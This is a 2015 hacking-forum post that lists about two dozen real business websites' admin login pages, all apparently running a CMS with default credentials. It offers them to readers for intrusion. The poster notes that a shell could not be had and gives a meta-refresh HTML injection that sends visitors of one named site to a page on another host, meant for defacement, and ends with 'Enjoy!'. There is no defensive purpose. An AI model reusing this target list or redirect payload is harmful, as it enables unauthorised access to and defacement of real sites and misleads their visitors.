Mar 26, 2015 06:51 PM
(This post was last modified: Mar 27, 2015 03:29 PM by mObiIe.)
![[Image: UrLKS.png]](https://i.imgur.com/UrLKS.png)
[img]http://www.yuris5khouston.com/uploads/3/9/1/9/3919285/457014621.png[/img]
Idk what this CMS Developer was thinking ....But guess what the default username and passwords are to these 20+ websites? 😏
![[Image: cWIMIq5.jpg]](https://i.imgur.com/cWIMIq5.jpg)
![[Image: WIi6jZ6.jpg]](https://i.imgur.com/WIi6jZ6.jpg)
PHP Code
<?php
http://www.saireehutkohtao.com/admin/login.php
http://www.tketsang.com/admin/login.php
http://www.changingdiabetesthailand.com/admin/login.php
http://www.visioninter.co.th/admin/login.php
http://www.sahasap2013.com/admin/login.php
http://www.jsut.co.th/admin/login.php
http://www.mr-thailand.com/admin/login.php
http://www.chayoratn.com/admin/login.php
http://www.siampetroleumservices.com/admin/login.php
http://www.thewinner-pattaya.com/admin/login.php
http://www.pu.co.th/admin/login.php
http://naratwin.com/admin/login.php
http://www.rafia.co.th/admin/login.php
http://www.tsbgroups.in.th/admin/login.php
http://www.ptchemmerce.com/admin/login.php
http://www.issconsulting.co.th/admin/login.php
http://www.pjplastic.com/admin/login.php
http://www.diabetescareth.com/admin/login.php
http://www.pavillianexecutivess.com/admin/login.php
http://www.pluzcoll.com/admin/login.php
http://www.alu-log.com/admin/login.php
http://www.utsl.co.th/admin/login.php
http://www.teddyhouse.com/admin/login.php
http://vipservices.co.th/admin/login.php
Unable to shell, so i's pretty useless to me. =/ ...but it does support HTML so you can at least redirect users to a deface page. 👍
EXAMPLE:
PHP Code
<?php
http://www.pu.co.th/newsandevent_detail_th.php?newsid=22
Quote:<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.companyregistrationsindia.in/admin/user_documents/5.html">
inb4 new content is added to these websites. Enjoy! 🤝


![[Image: LWpI0zO.png]](https://i.imgur.com/LWpI0zO.png)

![[Image: fpZ5a5g.png]](https://i.imgur.com/fpZ5a5g.png)